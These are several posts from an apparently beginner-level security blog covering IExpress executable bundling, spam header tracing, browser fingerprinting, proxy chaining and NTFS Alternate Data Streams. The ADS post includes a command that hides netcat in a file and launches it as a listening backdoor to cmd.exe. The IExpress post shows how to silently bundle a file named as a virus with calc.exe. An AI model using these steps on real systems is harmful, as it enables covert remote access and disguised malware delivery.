LineSec

Join 2 executable files on one (II of IV)

2011-12-23T09:01:00.000-08:00

Following the tutorials about attach some files with others, and we started with this, we continue with a much more easy to use, and above all, much more powerful.
This time use IExpress, a utility that comes by default in Windows, though hidden, and that very few people know. The main use of this wizard is to create self-extracting archives and self-installable. And that is what we create. Before opening the program, we will choose to join the 2 executables. For this example we will use calc.exe (calculator) and virus.exe (not a real virus, is a file with that name that contains nothing. Every one can use the files you want under your responsibility).
To start, go to Start, open the run menu and type IExpress. A wizard will launch. On the first screen, choose Create new Self Extraction Directive file, since we want to do is create a new one, and click Next.

Here we ask what we want to make the executable created: run 2 or more files in the installation, just extract the files or just create compressed files. For this practice we choose the first option.

On the third screen will give a name to the installation package. We write Calculator.

In this window choose if we want the user to confirm installation of the package or not. We make no prompt and press next.

In this another step we can select a license that is displayed during installation. Select Do not display a license.

Here choose the files to add. Click Add and add it. Once added 2 files, press next.

In Install program field, select the file virus.exe, and in Post Install Command field, calc.exe file

Now select the option you want to run our package. We set default.

At this point we can put a message to be displayed after installation, something like "the installation was successful." In this case, write anything, but everyone can put whatever you want.

Now we choose the path where your package is saved and the name you give. Each one gives the name you want and save it wherever (but remember where is it).
Below are 2 options: Hide File Extracting Progress Animation from User and Store files using Long Name Affects Package. The first is to extract the installation package files to run without us realize, and the second is to show the removal of the package files. We chose the first.

In this another step, we can select that the program restart the computer after installation. A choice of each.

Here's if you want to save a file with the information in this package. Mark Do not save.

And if we are sure our package configuration, click Next to create it. After finishing (not take too long), we show a summary of what has taken and if it done correctly, and other data. Click Finish and the process will be finished.

Now think a moment ... how many programs you will have installed on your computers that do not come from a place 100% confidence? How many installations have you done without really knowing what you were installing? Strain a keylogger, trojan, or any other type of malware in an installation is very easy, as we have seen, and takes no more than 5 minutes. So we will install monitoring well and where we have dropped that file, to avoid problems in the future.

How to trace spam email

2011-12-20T04:03:00.000-08:00

In this post we will try an interesting topic: the spam that continually recieve to our email. Let's use an example a mail that I receive, and indicate that you should update the data of a bank to unlock your account.

For starters we see several details that can make us suspect: in the first paragraph tells us that there was a problem with an account of Bankia (spanish bank), however in the origin and the rest of the email it told that is from BBVA (another spanish bank).

Viewing the source code of the message, see the IP from which the mail, in this case 81.94.206.18

Here we will use the service we offer ADSLayuda , we find out from which region has sent us the mail:

We see that the domain that owns this IP is Redstation.net.uk. Now, we go to any website whois type (eg http://whois.domaintools.com/ ) and find out information about this domain :

Domain name:
redstation.net.uk

Registrant:
Redstation Limited

Registrant type:
UK Limited Company, (Company number: 3590745)

Registrant's address:
2 Frater Gate Business Park
Aerodrome Road
Gosport
Hampshire
PO13 0GW
United Kingdom

Registrar:
Redstation Limited [Tag = REDSTATION]
URL: http://www.redstation.com

Relevant dates:
Registered on: 11-Apr-2005
Renewal date: 11-Apr-2013
Last updated: 03-Apr-2011

Registration status:
Registered until renewal date.

Name servers:
dns1.redstation.co.uk 80.84.49.135
dns2.redstation.co.uk 80.84.49.136

If we are going to the website redstation.com, we see that it’s a company that offering dedicated servers to host websites or whatever you want.

Here is another example of mail that comes from a different place. The contents of the mail is similar, but the IP is different:

This IP is 81.208.35.150. And geolocation the IP, that comes from Italy, specifically in Bologna:

But in this case, we don’t see the domain. Perhaps in this case the site is not hosted by a hosting company, but on another “private” server.

I will have already been able to ascertain, this method does not work only to find the source of spam, but it can be used in any email we received.

What information can find our web browser about us or our system?

2011-12-18T10:43:00.000-08:00

Many times when we went to a web page, we see a banner that shows the information about our equipment or signage in the language or geographical area from which we connect. For example, a banner with our IP and our ISP or Google advertisements only for the city from we are connecting, etc ...
The best thing to protect part of our privacy is to use a proxy, as published recently, or some anonymous surfing web.

But ... what can find my web browser about me and my computer?

A good website for these data is http://browserspy.dk/. On this page we perform several tests to check your privacy. This is the main page, in which different parts are distinguished: in the center publish news about web sites that speak of it. On the right there are various tests to perform, and that is the part that interests us.

Some of the tests that we can check are:

File types supported
Information about cookies (if enabled, cookie number, size, ...)
Information about Adobe Flash
Date and time of our PC.
Band width
If you surf through a proxy
Geolocation
and so on.

Now we'll see screenshots of some of these tests to see what they show us. For starters we see the test on Adobe Reader, which shows if you have installed and what supplements (if any):

Our processor:

Geolocation:

Images supported by your web browser:

Our IP:

Information on our Operating System:

A list of plugins installed in your browser:

Display information (resolution, etc ...)

These are just some of the tests that we do. Enter the page http://browserspy.dk and check these tests or others that interest you to see what information is collected about your computer.
It is also interested to see what information is able to show private browsing or through a proxy.

General recommendations for surfing Internet:

Use private mode, when it is possible. All popular browsers include this option.
Surf through a VPN (Virtual Private Network) or proxy.
Clean cookies and private information of your browser. You can configure the browser to delete this information each time you close it.

Multiproxy chains to leave no trace in Internet

2011-12-10T05:03:00.000-08:00

A proxy is a program that makes Internet access to your computer instead. It's like somewhere between a computer connected to the Internet and the server you are accessing. When we surf through a proxy, we're not actually going directly to the server, but we make a request on the proxy and it is he who connects to the server that we want to access and returns the result of the application. (Wikipedia)
There are several programs to perform this task. At this time we will do using SocksChain, which you can download from here.
Once installed and running, we see that the interface is this:

Double click the string name, we will get a configuration menu where you can edit several options such as name, port, through which it will connect, use proxies...

To select proxies through which will be our connection, we must go to the Proxy Manager screen, located in Tools> Proxy Manager, or by clicking on the socks. In the window that appears shows a list of proxies to which we can connect. In addition, proxies may add, delete any existing ones, edit them and a very interesting option, which is to update the list.

We update the list of proxies, to have as current as possible. Once updated, click on Test All, to check connectivity to all. After that, we can delete the inactives. Close this window and double click on Test Chain. In the right panel choose to use proxies, marking them and clicking Add. In this example we will use a chain of 3 proxies, and will change from one proxy to another every 100 seconds automatically. Everyone can use the ones that you want, use more or less has its advantages and disadvantages, which we see later.
The setting is as follows:

Once done, configure the programs to go through the proxy. In browsers, this can be done from your own setup menu, adding as proxy IP 127.0.0.1 and port 80 (or who have placed in SocksChain). But for other applications can use another program called SocksCap (available here), we will bridge the gap between the proxy and the application unable to reach it.
Once installed, to add a new application, click on the New button, and locate the program on your computer. The other fields are filled in automatically. We accept and click on Run. This is important because applications must be run from this program, but will not work through proxy. We also noticed that SocksCap should be running by 127.0.0.1 and port 80 (or you have placed in SocksChain). This is configured in File> Settings in SocksCap.

Advantages of using proxies

Ability to browse anonymously

It is more difficult to keep track of our IP, especially if we use several proxies and jumping from one to another.

Disadvantages

The more proxies we use, it will affect the quality of the network, and therefore, slower all connections.

We do not know who owns the proxy to connect us, or who may be watching us, so we have to be careful what you do.

These proxies may be being used by several people at once, and users would lose too much speed and quality of the network

ALTERNATE DATA STREAMS, or how to hide a file inside another file

2011-12-09T09:40:00.000-08:00

We start talking about what is and how it works. Essentially, the "Alternate Data Streams" (ADS) are files within another file. You can think of a file as an ordered sequence of bytes accessed by a name. In NTFS System (New Technology File System) this is the data stream that comes from opening the file normally. However, NTFS has the ability to save alternative flows next to the main data by specifying a name for themselves.

Now let's do a simple test. To begin, go to command prompt and run the following commands:

Echo text1> file.txt
Echo text2> final.txt
(Create 2 files with the given text)

Type final.txt> file.txt: final.txt
(The file file.txt contains the file final.txt)

More <file.txt: final.txt
(We see the contents of final.txt)

In another example we shall run executable files:

Type notepad.exe> file.txt: notes.exe
Start. / File.txt: notes.exe
(With these commands execute it)

And if we take imagination, we can use other programs and for other uses:

Type nc.exe> file.txt: backdoor.exe
Start. / File.txt: backdoor.exe-d-L-p800-t-e cmd.exe

In the latter instance, run netcat program (discussed below) and several of its parameters, to create a back-door, and enter through this door to open a command window.

Finally, indicate that in recent versions of Windows does not work execution, but the way to hide the files. You can also enter a file to a directory, as it not only works with other files.

Welcome to LineSec

2011-12-09T09:28:00.001-08:00

This blog was created with the idea of being a page where a beginner and new to the world of computer security publish his works and ideas, and share with the rest of the world his knowledge.
Each article is posted, try to be as clear and informative as possible. All studies and papers presented here have been made by us, except for some exceptions, which in his case would cite.
To find something specific, we suggest you use the search box, located to the right of this blog.
We hope you enjoy it and you like the page. Any criticism, good or bad, is welcome.

Greetings and thanks everyone that visit this blog.